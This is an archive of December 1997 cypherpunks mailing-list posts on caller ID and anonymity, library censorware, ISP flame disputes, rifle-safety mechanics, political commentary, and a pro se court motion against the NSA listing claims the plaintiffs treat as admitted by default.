involving the usage of caller ID, caller ID blocking, and even "blocker
blocking".  Ultimately when it's all sorted out we'll wind up with more choices
than we had to start with.  The phone number that you're calling from is now
an item of data which can be OPTIONALLY transmitted along with the phone call.
And the omission of that data, by way of caller ID blocking, is itself a
data item.  The technology exists to take certain actions based on that data
interchange.  The hardest part is DECIDING how one wishes to use that data.
Will I accept calls with caller ID blocked?  Will I block caller ID on my
outgoing calls by default?  Will I create an access list of calls of numbers
allowed to ring my phone?  Will I block the blocked calls altogether or merely
divert them to my answering machine for screening?

Perhaps this serves as a useful model in analyzing anonymous communications in
general, particularly e-mail.  Are people who e-mail anonymously or who call
from pay phones to be considered "criminals" or otherwise viewed with
suspicion?  Should we require some form of positive identification, such as
a government issued and escrowed crypto key, to authenticate all forms of
communications, even calls from pay phones?

As you've probably guessed, I'm against limiting those options.  People who
wish to communicate anonymously (truly anonymously, not the model suggested
where you reveal your identity to someone and have to trust him to keep it
confidential) should be allowed to do so.  And people who don't wish to 
receive such communications should have the option of not receiving them.

The unblockable call tracing technologies you've mentioned will make the use
of pay phones more popular with people who value their privacy.  Like
unlisted numbers, the security of the data gathered by such systems is no
greater than the willingness of a telco employee to refuse a bribe.  Watch for
even more proposals to make the use of pay phones less convenient or less
private.  It's already happening.  Some large cities, for example, have
strongarmed the phone companies to replace the normal push button pay phones
with the old rotary dial style just to prevent people from using them to page
drug dealers!  Of course, you can't use them to page anyone else, either, or
to access your own voice mail, or avail yourself of any service that utilizes
data entry via DTMF tones.  All in the name of "keeping us safe".

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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=Ih9r
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 05:12:53 +0800
To: cypherpunks@toad.com
Subject: Re: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <ocr67oh405s.fsf@ml.com>
Message-ID: <s0R5He16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Colin Rafferty <craffert@ml.com> writes:
>
> > Note that if the library in question were not arm of the State,
> > noone would have any First Amendment claim.
>
> Which is why it is a good thing that Libraries are state funded.

On the contary. when no library was state (meaning, taxpayer) funded, and they
were supported by paying users (as was the case in most of the world for most
of its history), then multiple libraries would compete for users by providing
the best service possible; hence, if one private library chose a bad
censorware, its users would switch to another private library.

Of course private libraries find it hard to compete with tax-funded "free"
ones on price.

> > It is considered legal and moral for a *private employer* can use
> > censorware to restrict their LAN's access.
>
> It may be legal, but whether it is moral is certainly debatable.

In my opinion, employers like ML needn't use censorware to prevent you from
accessing, say, porn sites; as long as it doesn't interfere with your work
performance, who cares if you sit in your cubicle and ogle naked women (or
men) on a computer paid for by ML, together with its internet connection.

But if they choose to do so, and you don't like it, then you can 1) choose to
work for someone else, 2) pay $20/mo for your own internet connection; not run
to a federal judge whining that your employer violates your 1st amendment
rights by not paying for your access to non-work-related pornography.

> > When the government removes games, pictures, etc. from its PCs it is acting
> > as a responsible efficient employer.
>
> Not necessarily responsible, but it is legal.

What about ML telling its employees not to have games on their PCs?
What about ML telling its employees not to have any unlicenced software
on their PCs and not to download software from BBS/Internet because it
might contain viruses?

ML has some very confused people working for it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@cor.sos.sll.se>
Date: Mon, 22 Dec 1997 22:40:06 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Get your Anthrax shots OR Jim Bell hits Sweden
In-Reply-To: <v03102800b0c3c75ed9d7@[207.167.93.63]>
Message-ID: <Pine.HPP.3.91.971222145409.19316A-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 22 Dec 1997, Tim May wrote:

>Seriously, I'd guess that anyone showing up a doctor's office asking
>for an Anthrax series is pretty much guaranteeing they'll be reported
>to the Security Services.

And unfortunately the long immunization period makes it
impossible to be ready when they let out Jim Bell very soon.

The Dec 21 issue of Dagens nyheter, Sweden's number
one morning paper, has a piece (in the science section)
on terrorism with biological weapons, how easy it is
to grow Anthrax, Irak, the Japaneese sect, all the
usual stuff. Two (2) biological terrorists are named
in this globally surveying research article:

1) Larry Wayne Harris, allegedly a microbiologist in
Ohio who was sentenced for the posession of 'three bottles'
of bubonic plague bacteria in 1995. Harris, said the article,
had been engaged in the rasist organization Aryan Nation.

2) Our own stinkbombing, taxavoiding, SSN-forging Jim Bell:

(translated)

***********************************************************
Last april, after several years of inquiries, the American
police arrested the chemist James Dalton Bell, who has an
education from the ruputable Massachusets Institute of
Technology. Bell had several containers with poisonous
chemicals in his garage. Right-wing extremist litterature
and bomb-making manuals were found in his car. When
interrogated, his acquaintances told that Bell had been
trying to manufactor botulinum toxin from green beens.
**********************************************************

It's interesting to see the story grow when journalists
quote from each other's sensationalist reports. Next time
they need a face for a story on nuclear terrorism, I guess
other devices might pop up retrospectively in Jim's garage.
Perhaps he even had a suitcase there.

Asgaard






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 23 Dec 1997 05:09:00 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <0af1f50d709c70d6ee98863386f81e59@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



>> (Many people here probably remember Fred Cherry - Panix pulled his 
>plug for
>> "homophobia".)
>> chris.com pulled the plug on TRRJC3 (Igor's pal) because of content.
>I wish you could be a little more specific.
>Harrashing email and excessive cross-posting in violation of each 
>UseNet 
>group charter is not
>censorship.

If ISP's censored flames (harrasments, whatever) then we might as well call every ISP AOL.

>If someone sends a gay an email saying "I will kill you. Look out for 
>the 
>next gay pride parade" that's is legitimate ground for action.

What if it was a joke, or a false threat?

>> I also wouldn't trust Lance Cottrell.  He's selling privacy for the 
>$$, not
>> for the ideology; he'll bend over the moment he thinks there's more 
>$$ in
>> bending over, which is usually the case.
>What is wrong selling privacy for money?

It usually involves making it shitty.

>> Remember how Sameer Parekh's C2Net used to try to peddle a "privacy 
>ISP"
>> because he failed miserable and diversified into peddiling shitty 
>software
>> and making idiotic legal threats? He happily pulled plugs bases on 
>content,
>> while at the same time stating in court papers that he doesn't 
>censor content.
>> What a pathological liar.
>I suppose you can back up your claim with documentation.
>What court document are you referring as evidence that Sameer Parekh 
>is a 
>pathological liar?

None is necessary.  Parekh is a liar, and just a general tool of c2.net.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 05:42:56 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: SPECIAL REPORT: Censorware in the Stacks (fwd)
Message-ID: <199712222201.QAA20397@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: SPECIAL REPORT: Censorware in the Stacks
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Mon, 22 Dec 97 15:33:03 EST

> On the contary. when no library was state (meaning, taxpayer) funded, and they

Get your facts straight. The US has a library that from day 1 has been
citizen supported. Every state (that I am aware of) has a state library that
is funded by tax payers. Furthermore, Texas & Lousiana have had localy
supported libraries and schools before they were even states.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mparson@smartnap.com
Date: Tue, 23 Dec 1997 06:43:00 +0800
To: cypherpunks@toad.com
Subject: Re: Lock and Load
In-Reply-To: <199712222142.NAA27915@sirius.infonex.com>
Message-ID: <199712222230.QAA01332@fargo.smartnap.com>
MIME-Version: 1.0
Content-Type: text/plain



In message <199712222142.NAA27915@sirius.infonex.com>, you write:
> Jim Choate wrote:
>> Forwarded message:
>>> Not being a native English speaker, I do not understand the
>>> meaning and origin of the phrase "LOck and Load".
>>
>> It means to lock the rifles safety and load it's chamber in preperation for
>> firing at an enemy. It is usualy used in a military context but head-bangers
>> and such use it when talking about loading their bongs and I am shure other
>> groups use it as well in various contexts.
> 
> Wait a second, aren't we supposed to load first and lock later? How
> can you load a rifle if it is on safety? 

You can load most rifles with the safety on.  We loaded our M-16s on the
line while the weapon was on 'safe' all the time.  The next command was
always, "Rotate your selector switch from 'safe' to 'semi.'  Firers,
watch your lanes... fire at will."  Most safeties are just trigger locks
that prevent you pulling the trigger, they do nothing preventing you
from sticking in a loaded magazine and chambering a round.

--
Michael Parson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 23 Dec 1997 06:28:38 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Lock and Load (fwd)
Message-ID: <199712222238.QAA20544@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 22 Dec 1997 13:42:34 -0800 (PST)
> From: Mix <mixmaster@remail.obscura.com>
> Subject: Re: Lock and Load

> Jim Choate wrote:
> > Forwarded message:
> > > Not being a native English speaker, I do not understand the
> > > meaning and origin of the phrase "LOck and Load".
> >
> > It means to lock the rifles safety and load it's chamber in preperation for
> > firing at an enemy. It is usualy used in a military context but head-bangers
> > and such use it when talking about loading their bongs and I am shure other
> > groups use it as well in various contexts.
> >
> 
> Wait a second, aren't we supposed to load first and lock later? How
> can you load a rifle if it is on safety? 

Well on my .22 I slide bullets down the loading tube and manualy cycle the
bolt. On the M1 carbine I simply insert the clip and cycle the bolt. On a
HK-33 or G3 you do the same sort of thing. Those are the ones I know how to
work because I have used them.

In general the safety locks the trigger and firing-pin mechanism not the
loading or chambering mechanism. I don't know of a safety on a rifle that
blocks the bolt. But I ain't a gun nut (IAAGN).

Revolvers are self-explanatory. Automatics generaly block the trigger and
firing-pin mechanism, again not the bolt. Just grab that damn thing above
the barrel and pull toward yourself with a loaded clip. When it releases
should be loaded and on safety. Certainly works that way on the 1911 that I
use on occassion where the hammer action is blocked (hint - don't drop it
when cocked and safetied). I don't think I have ever shot an automatic that
didn't work that way (all 3 or 4 of them). Again, IAAGN.



    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bill payne <billp@nmol.com>
Date: Tue, 23 Dec 1997 08:21:14 +0800
To: cypherpunks@toad.com
Subject: Filed Friday afternoon
Message-ID: <349EFA32.2EC9@nmol.com>
MIME-Version: 1.0
Content-Type: text/plain



		       UNITED STATES DISTRICT COURT
                 FOR THE DISTRICT OF NEW MEXICO


William H. Payne        	   	              )
Arthur R. Morales                           )
                                            )
                Plaintiffs,                 )
                                            )
v                                           )	CIV NO 97 0266 
					                   )	SC/DJS
			                             )
Lieutenant General Kenneth A. Minihan, USAF )
Director, National Security Agency	         )
National Security Agency		              )
                                            )
                Defendant                   )


PLAINTIFFS' MOTION FOR SUMMARY JUDGMENT ON BASED ON
EVIDENCE FROM ADMISSIONS

1  COMES NOW plaintiffs Payne [Payne] and Morales [Morales] 

[Plaintiffs], pro se litigants to exercise their rights 

guaranteed under the Constitution and Federal Rules of Civil 

Procedure.

As the court may know,

  Rule 26 (b)(1) 
 
  Parties may obtain discovery regarding any mater, not   
  privileged, which is relevant to the subject matter  
  involved in the pending action, whether it relates  
  to the claim or defense of the party seeking discovery 
  or to the claim or defense of any other party, including  
  the existence, description, nature, custody, condition,  
  and LOCATION of any books documents, or other tangible 
  thing and the identity and location of persons have 
  knowledge of any discoverable matter. 
 
  Rule 36 states, 
 
  Request for admission (a) A party may serve upon any other 
  party a written request for the admission, for the  
  purposes of the pending action only, of the truth of any  
  matters within the scope of Rule 26(b) set forth the 
  request that relate to statements or opinions of fact 
  or of the application of law to fact including the 
  genuineness of any documents described in the request.   
  Copies of documents shall  be served with the request 
  unless they have been or otherwise furnished or made 
  available for inspection and copying.  The request 
  may WITHOUT LEAVE OF THE COURT, be served upon the 
  plaintiff after commencement of the action and upon any  
  other party with or after service of the summons and 
  complaint upon that party. ... 
 
Plaintiffs capitalize WITHOUT LEAVE OF THE COURT. 

2  Rule 36 states,

  {T]he matter IS ADMITTED unless, within 30 days after 
  service of the request, or with such shorter or longer 
  time as the court may allow, the party to whom the 
  request is directed serves upon the party requesting 
  the admission a written answer or objection address 
  to the matter signed by the party or by the party's 
  attorney, ...

Plaintiffs capitalize IS ADMITTED.

3 PLAINTIFFS' FIRST SET OF REQUEST FOR ADMISSION TO  
  
NSA DIRECTOR KENNETH MINIHAN were served 

 I HEREBY CERTIFY that a copy of the foregoing request 
 for admissions was mailed to Jan Elizabeth Mitchell, 
 Assistant US Attorney, 525 Silver SW, ABQ, NM 87102 
 this  Monday November 3, 1997. 


More than 30 days elapsed  and Plaintiff's have received 

no response from Minihan or Mitchell.

Therefore, Minihan ADMITS

  1  NSA is involved in 'spiking' [modifying the 
     advertised intended functions] electronic 
     equipment.

  2  NSA 'spiked' Iranian and Libyan cryptographic units 
     so that the  cryptographic key was transmitted with 
     the cipher text.

  3  Iranian messages were given to Iraq during the 
     Iran/Iraq war.

  4  NSA was involved in the conviction, by giving 
     contents of secret messages, of Ali Vakili-Rad 
     and Masour Hendi to the Court in Paris in the trial 
     for the stabbing death of Shapour Baktiar. 

  5  Minihan knows where copies of intercepted messages 
     are kept at NSA.

4  Requests for First set of Admission were mailed 

October 13, 1997.   More than 30 days has elapsed.  No 

response from lawyer Mitchell or respondents were received

by Plaintiffs.

Therefore,  NSA employee Brian Snow ADMITS

  1 He designed the cryptographic algorithm for the 
    Missile Secure Cryptographic Unit  (MSCU). 

  2 NSA funded the MSCU  at Sandia labs.

  3 In about 1983 he gave a presentation at NSA FANX 
    building to some Sandians involved with the Missile 
    Secure Cryptographic Unit. 

  4 In the presentation he showed electronic schematics 
    of the units to the Sandians.

  5 He told the Sandians about the electronic and 
    operational problems NSA had with the  
    cryptographic units he bought with him.

  6 He told the Sandians that one of the cryptographic 
    units failed in the Moscow embassy and transmitted 
    clear text.

  7 He concluded his talk telling the Sandians that NSA 
    had no operational failures once NSA went to dual 
    redundant cryptographic units.

  8 He told the Sandians not to ask for a theoretical 
    reason why dual redundant cryptographics never 
    failed, in the sense of releasing classified data, 
    but that this was based on practical  experience.

  9 William H. Payne was one of the Sandians in the 
    audience of his talk.

  10 He sat across the table from William H. Payne at 
     lunch in the cafeteria in the basement of the 
     FANX building directly after his talk.

  11  He was involved in algorithms associated with 
      the Clipper project.

  12  He where the documents specifying the MSCU 
      algorithm are located at NSA.

  13  He knows where the documents specifying 
      algorithms associated with the Clipper project 
      are located at NSA.

NSA employee Thomas White ADMITS

  15 He served as the liaison between NSA and Sandia 
     for the Deployable Seismic Verification System.

  16 He forwarded documents such as NSA's Orange book 
     and the public key Firefly chip to Sandia.

  17 He told Bill Payne that NSA regarded former 
     president Ronald Reagan as one of the US's  
     greatest traitors. 

  18 He told Bill Payne that the reasons NSA regarded 
     Ronald Reagan as one of the US's greatest traitors 
     is that Reagan, on TV announced to the world 
     that the US was reading Libyan communications. 

  19  He Bill Payne that the following day [after 
      Reagan's TV announcement] NSA could no longer 
      read Libyan communications.

  20  He knows where the documents specifying 
      Benincasa's correction to the original USO  
      seismic data authentication algorithm are 
      located at NSA.

NSA employee Mark Unkenholtz ADMITS

  21  He visited Sandia in about 1986-87 with R 
      division employee Ed Georgio to discuss which 
      data authentication algorithm should be used for 
      the US/USSR deployable seismic verification 
      system (DSVS). 

  22 He and Bill Payne discussed using public key for 
     the DSVS system. 

  23  He concluded that there were too many problems 
      with public key so it was best to continue using 
      the old Benincasa  USO (unmanned seismic 
       observatory) algorithm. 

  24  In 1989 he and others asked Bill Payne to write a 
      memorandum to NSA deputy director James J. Hearn 
      requesting help from NSA to develop new data 
      authentication algorithms. 

  25  He did this is because R division needed a letter 
      of support for more funding. 

  26  The DRAFT letter he asked Payne to write is seen 
      on Internet at jya.com, click cryptome, catch the 
       thread at August 29, 1997, SANDIA REPORT, 
       SAND91-2201 UC 706, Data Authentication for the 
       Deployable Seismic Verification System,  
       Appendix T, Benincasa's Algorithm Deficiencies.

  27  He asked Payne to fax the DRAFT letter to his 
      fiancee, Amy Johnston, since NSA did not have fax 
      for unclassified work readily available to use.

  28 The "To Mark and Ed, R" on page 183 of 
     SAND91-2201 UC 706 addressed him and his boss 
     boss at the time, Ed Donohue.

  29  He told Payne that NSA takes about a year to 
      evaluate an encryption/authentication algorithm  
      before it can be distributed for use. 

  30  He told Payne, in a response to a question from 
      Payne, that NSA runs crypto algorithms through 
      statistical tests. 

  31 After Payne wrote the Appendix T memorandum, NSA 
     sent a delegation to Sandia. 

  32  He and NSA employee Scott Judy designed a 
      replacement algorithm for Beninicasa's USO 
      algorithm.

  33  The replacement algorithm was code named GRANITE. 

  34  The GRANITE design addressed some of the 
      deficiencies in Benincasa's algorithm enumerated 
      in Payne's Appendix T June 21, 1989 DRAFT letter 
      to Hearn. 

  35 The GRANITE design addressed some of the 
     deficiencies in Benincasa's algorithm enumerated 
     in Payne's Appendix T June 21, 1989 DRAFT letter 
     to Hearn. 

  36 He knows where the documents specifying 
     Benincasa's to the original USO seismic data 
     authentication algorithm are located at NSA.

  37 He knows where the documents specifying his and 
     Judy's GRANITE algorithm are  located at NSA.

NSA employee Scott Judy ADMITS

  38  He met Payne at Sandia sometime after he wrote 
      the DRAFT letter on Internet at jya.com, click 
      cryptome, catch the thread at August 29, 1997, 
      SANDIA REPORT, SAND91-2201  UC 706, Data 
      Authentication for the Deployable Seismic 
      Verification System,  Appendix T,  Benincasa's 
      Algorithm Deficiencies.

  39  He later met Payne again at NSA in a meeting. 

  40  He told Payne that NSA bases its cryptographer 
      algorithm on principles other than mathematics. 

  41  He and NSA employee Mark Unkenholtz designed a 
      replacement algorithm for Beninicasa's USO 
      algorithm. 

  42  His replacement algorithm was code named GRANITE. 

  43 GRANITE design addressed some of the deficiencies 
     in Benincasa's algorithm enumerated in Payne's 
     Appendix T June 21, 1989 DRAFT letter to Hearn. 

  44  The number stepping on the internal registers of 
      GRANITE  was decreased in response to  
      deficiency 2 enumerated in the June 21, 1989 
      letter to Hern. 

  45  He knows where the documents specifying 
      Benincasa's correction to the original USO  
      seismic data authentication algorithm are 
      located at NSA.

  46  He knows where the documents specifying his  
      and Unkenholtz's GRANITE algorithm are located 
       at NSA.

NSA employee Edward Donohue ADMITS

  47  He met Payne at Sandia sometime after he wrote 
      the DRAFT letter on Internet at jya.com, click 
      cryptome, catch the thread at August 29, 1997, 
      SANDIA REPORT, SAND91-2201 UC 706, Data 
      Authentication for the Deployable Seismic 
      Verification System,  Appendix T,  Benincasa's 
      Algorithm Deficiencies.

  48 He was head of NSA's R division cryptographic 
     algorithms division in 1989.

  49 He knows where 
     1    Benincasa's original NSS/USO algorithm, 
     2    Benincasa's revision of 1, 
     3    The Unkenholtz - Judy GRANITE algorithm, 
     4    Brian Snow's  MSCU algorithm, 
     5    the clipper algorithms, 
     6    the STU III algorithms. 
     written specifications are located at NSA.

NSA employee Paul Bridge ADMITS

  50  He assumed liaison control from NSA employee 
      Tom White for the US/USSR seismic data 
      authenticator. 

  51 He placed a copy of 
 
    WORKING AGREEMENT BETWEEN  SANDIA NATIONAL 
    LABORATORIES  AND THE NATIONAL SECURITY 
    AGENCY CONCERNING RESEARCH IN CRYPTOGRAPHY 
    AT SANDIA NATIONAL LABORATORY 
 
  Sandia National Laboratories (SNL) and the National 
  Security Agency (NSA) have established a working 
  relationship which has gown substantially over 
  the last decade.  Currently, there exist several 
  joint project areas of mutual interest. 
 
  Different policies and administrative procedure 
  exist at SNL and NSA which govern the handling 
  of sensitive and classified material, and the 
  documentation and dissemination of such 
  work.  It is the purpose of the Agreement to 
  specify the general guidelines under which work 
  will be administered in the area of cryptography 
  research at SNL. 
 
  First, SNL, in its role as systems integrator, 
  requires and indigenous cryptographic capability 
  to support its Department of Energy mission in the 
  design and development of safe and secure nuclear 
  weapons and in treaty verification.  SNL and NSA 
  agree to a cooperative effort to support SNL's needs 
  in a manner consistent with the role of such work 
  to national security. 
 
  Second, NSA, in its role as the U.S. Government 
  approval authority for cryptographic systems 
  developed for and used in national security 
  applications, recognizes its responsibility to 
  provide support and guidance to SNL's activities 
  in applying cryptography. 
 
  Third, SNL will regard cryptographic research 
  work as classified when it is initiated or 
  created, i.e., will protect such work as 
  "created classified", and will consult with 
  NSA prior to handling such work as unclassified. 
  Periodic technical and managerial discussions 
  between SNL and NSA will be held to increase 
  the awareness of the security concerns of 
  both organizations and to develop and maintain 
  an SNL cryptographic classification guide which 
  will protect the national security interests of 
  both organizations. 
 
  This working agreement shall be effective on 
  the date of the last signature and will be 
  reviewed annually by SNL and NSA.  It will be 
  valid until terminated by mutual agreement. 
  
  AGREED: 
 
  ALBERT NARATH	RADM JAMES S. MCFARLAND 
  (USN) 
  President		Plans and Policy 
  TITLE			TITLE 
  SANDIA NATIONAL	NATIONAL SECURITY AGENCY 
  LABORATORIES
  June 10, 1991		22 July 1991 
  DATE			DATE 
 
  which is now seen on Internet at jya.com, 
  click cryptome, catch the thread at August 29, 
  1997. 

  52 His purpose of giving Payne a copy of the 
     Narath/MacFarland agreement an attempt to 
     threaten Payne.

  53  He told Payne that Sandia must regard the 
      US/USSR Deployable Seismic Verification 
      System (DSVS) authenticator as classified 
      and get permission from NSA to place the 
      unit in the field.  

  54  He told Payne that Sandia must have the DSVS 
      authenticator TEMPEST tested .

  55  He agrees Payne responded to him that the 
      previous unit had already passed TEMPEST 
      testing and that Payne's Sandia project 
      leader, H. B. [Jim] Durham, did not want to 
      spend the money to repeat the testing. 

  56  He told Payne that NSA should be getting the 
      capability to build cryptographic devices. 

NSA employee Rick Proto ADMITS

  57  He and group of other NSA employees met 
      Sandians H. B. Durham,  Ron Moya, and 
      William Payne at NSA at Fort George G. 
      Meade in about 1986 to discuss, in part,  
      implementation of the Deployable Seismic 
      Verification System data authenticator. 

  58  He and other NSA employees directed that 
      the NSA Unmanned Seismic Observatory data  
      authenticator algorithm designed by NSA 
      employee Ronald Benincasa be implemented 
      entirely in hardware.

  59  He and the other NSA employees at the meeting, 
      directed that the data authenticator be 
      enclosed in a TEMPEST enclosure.  Sandians 
      expressed objection to the TEMPEST enclosure 
      in that the authenticator was housed in a steel 
      tube buried about 100 meters beneath ground 
      surface. 

  60  He agrees that he and NSA employee Robert 
      Morris met with Sandia cryptographer G. J. 
      Simmons when Simmons asked them both the two 
      questions: 
 
      1  NSA is sorry it delegated cryptographic 
         implementation responsibility to Sandia 
         for nuclear weapons; 
 
      2  NSA is trying to take back this 
         responsibility? 

  61  He and/or Morris refuse to respond to 
      Simmons' above question.

Retired Sandia Employee Gustavus J Simmons ADMITS

  62  He with Sandia Paul Stokes designed a data 
      authentication algorithm for seismic treaty 
      verifications in the early 1970s.

  63  He and Stokes either patented, tried to patent, 
      or contemplated patenting their 
      authentication algorithm. 

  64  NSA, when we presented their seismic data 
      authentication algorithm to the Agency, 
      rejected its  use.

  65  He know that NSA gave Sandia the data 
      authentication algorithm designed by NSA  
      employee Ronald Benincasa to use in seismic 
      verification rather than use your and 
      Stokes algorithm.

  66  He feels that the algorithm that he and Stokes 
      proposed is as good or better than 
      Benincasa's algorithm.

  67  He feels that NSA demanding Sandia use 
      Benincasa's algorithm could be a case of  
      Not-invented-here as opposed to technical 
      advantages over his and Stokes 
      algorithm.

  68  In about 1986 he gave a presentation in 
      Sandia spook-shop building 868 to promote 
      the use of public key cryptography for use 
      in the Deployable Seismic Verification System.

  69  No one, until he received a copy of Payne's 
      technical report in 1992, SANDIA REPORT, 
      SAND91-2201 UC 706, Data Authentication for 
      the Deployable Seismic  Verification System 
      told him what algorithm and authentication 
      technology was used.

  70 He asked NSA employees Rick Proto and Robert 
     Morris to the effect, 
      1  NSA is sorry it delegated cryptographic 
         implementation responsibility to Sandia 
         for nuclear weapons; 
      2  NSA is trying to take back this 
         responsibility.
 
  71  Proto or Morris did not answer his questions.

  72  He retired before he planned from Sandia Labs.

  73  He felt that NSA exerted some pressure on 
      Sandia to have him retire.

  74  He told William Payne on the phone that he 
      was forced into early retirement as a result  
      of NSA pressures.

  75  He felt that some NSA algorithms do not are 
      properly classifiable.

  76 He felt that NSA abuses classification with 
     regard to cryptography.

  77 He feels that cryptography, by its 'slippery 
     math' basis, is difficult, if not impossible, 
     to regulate.

Sandia employee D. Jerry Allen ADMITS

  78  He was a supervisor Sandia's weapons components 
      department. 

  79  NSA has responsibility for furnished Sandia the 
      cryptographic algorithms and approving the  
      implementation technology which went into the 
      electronic locks in the US nuclear arsenal. 

  80  He told William Payne in about 1991-92 that 
      it cost $300,000 per nuclear bomb to recall 
      bombs to Pantex to remove and repair Sandia's 
      failing semiconductor chips.

Sandia employee Ronald Kulju ADMITS

  81  He worked in Sandia weapons components 
      department in about 1986/7.

  82  He was working on a project which involved 
      use of the Cylink corporation CY 1024 public 
      key cryptography semiconductor chip.  

  82  He made an agreement in about 1986/7 with 
      Payne.  He would design the hardware  
      oscillator for the CY 1024 if Payne would 
      try to get CY 1024 to communicate with an 
      80c51  microcontroller using synchronous 
      Mode 0 communications. 

  83  He told Payne that Sandia's public key 
      cryptography chips did not get the same 
      answers as the CY 1024. 

  84  He told Payne that NSA and Sandia was in 
      the process of removing  the public key 
      cryptography from weapons systems.

4  Admissions reveal that NSA employees KNOW where 

the lawfully requested documents reside.  And that 

NSA has EMBARRASSING problems with its cryptographic

algorithms.

5  Rule 56 states.  Summary Judgment states,

  The judgment sought shall be rendered forthwith 
  if the pleadings, depositions, answers to 
  interrogatories, and admissions on file, 
  together with the affidavits, if any,
  show that there is NO GENUINE ISSUE AS TO ANY
  MATERIAL FACT and that the moving party is 
  entitled to judgment as a matter of law.

Plaintiffs capitalize NO GENUINE ISSUE AS TO ANY
  
MATERIAL FACT.

Admissions attest to the contention that there 

are NO GENUINE ISSUE AS TO ANY MATERIAL FACT.

WHEREFORE,

6  Replace judges Svet and Campos because these judges

have demonstrated, IN WRITING, they do not follow the 

Federal Rules of Civil Procedure.

7  Award Plaintiffs motion for summary judgment 

as a matter of law based on admissions.  

8  Have replacement judges ORDER Defendant to 

produce immediately produce documents in 

machine-readable format for publication on 

Internet. In preparation for settlement of

this unfortunate bungled spy sting.  And analysis 

of 'deficient' NSA cryptographic algorithm work 

designed to get the US government out of the 

cryptography business.

9 grant such other relief as the Court may deem 

just and proper.


Respectfully submitted, 
 
 
                    _________________________ 
                    William H. Payne             	   	     
                    13015 Calle de Sandias NE          	     
                    Albuquerque, NM 87111              	     
 
 			
                    _________________________				 
                    Arthur R. Morales                            
                    1024 Los Arboles NW                         
                    Albuquerque, NM 87107                        
 
                    Pro se litigants 
 
 
               CERTIFICATE OF SERVICE 
 
I HEREBY CERTIFY that a copy of the foregoing memorandum
was mailed to Lieutenant General Kenneth A. Minihan, USAF, 
Director,  National Security Agency, National Security Agency, 
9800 Savage Road, Fort George G. Meade, MD 20755-6000 
and hand delivered to Jan E Mitchell, Assistant US Attorney, 
525 Silver SW, ABQ, NM 87102 this Monday December 22, 1997. 



13










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@everest.pinn.net>
Date: Tue, 23 Dec 1997 06:38:05 +0800
To: David Honig <honig@otc.net>
Subject: Re: Can I do Pubkic Domain that -
In-Reply-To: <3.0.5.32.19971218135434.007b3e00@otc.net>
Message-ID: <Pine.SUN.3.91.971222171650.1722A-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 18 Dec 1997, David Honig wrote:

> I was alluding to the licensing of ordinary photocopiers and fax machines
> (and computers, 
> and now internet connections) in statist nations, to prevent their "misuse".  

Except for the statist nation I (and I believe you) live in:  USA (United 
Socialist America) does not currently require a license to own or operate 
computers, photocopiers, and fax machines.

______________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
Democracy is two wolves and a sheep voting on what to have for dinner.
______________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alternative News Network <annnapi@cts.com>
Date: Tue, 23 Dec 1997 09:23:14 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <Pine.SUN.3.96.971217123112.22334P-100000@beast.brainlink.com>
Message-ID: <349F11DD.9B5E22C6@cts.com>
MIME-Version: 1.0
Content-Type: text/plain



    "Criminal Intent" used to be one aspect of a crime that was required
to be proved before a conviction could be made.

Today Criminal Intent comes into play only occasionally at sentencing,
otherwise the Judiciary just ignores it.

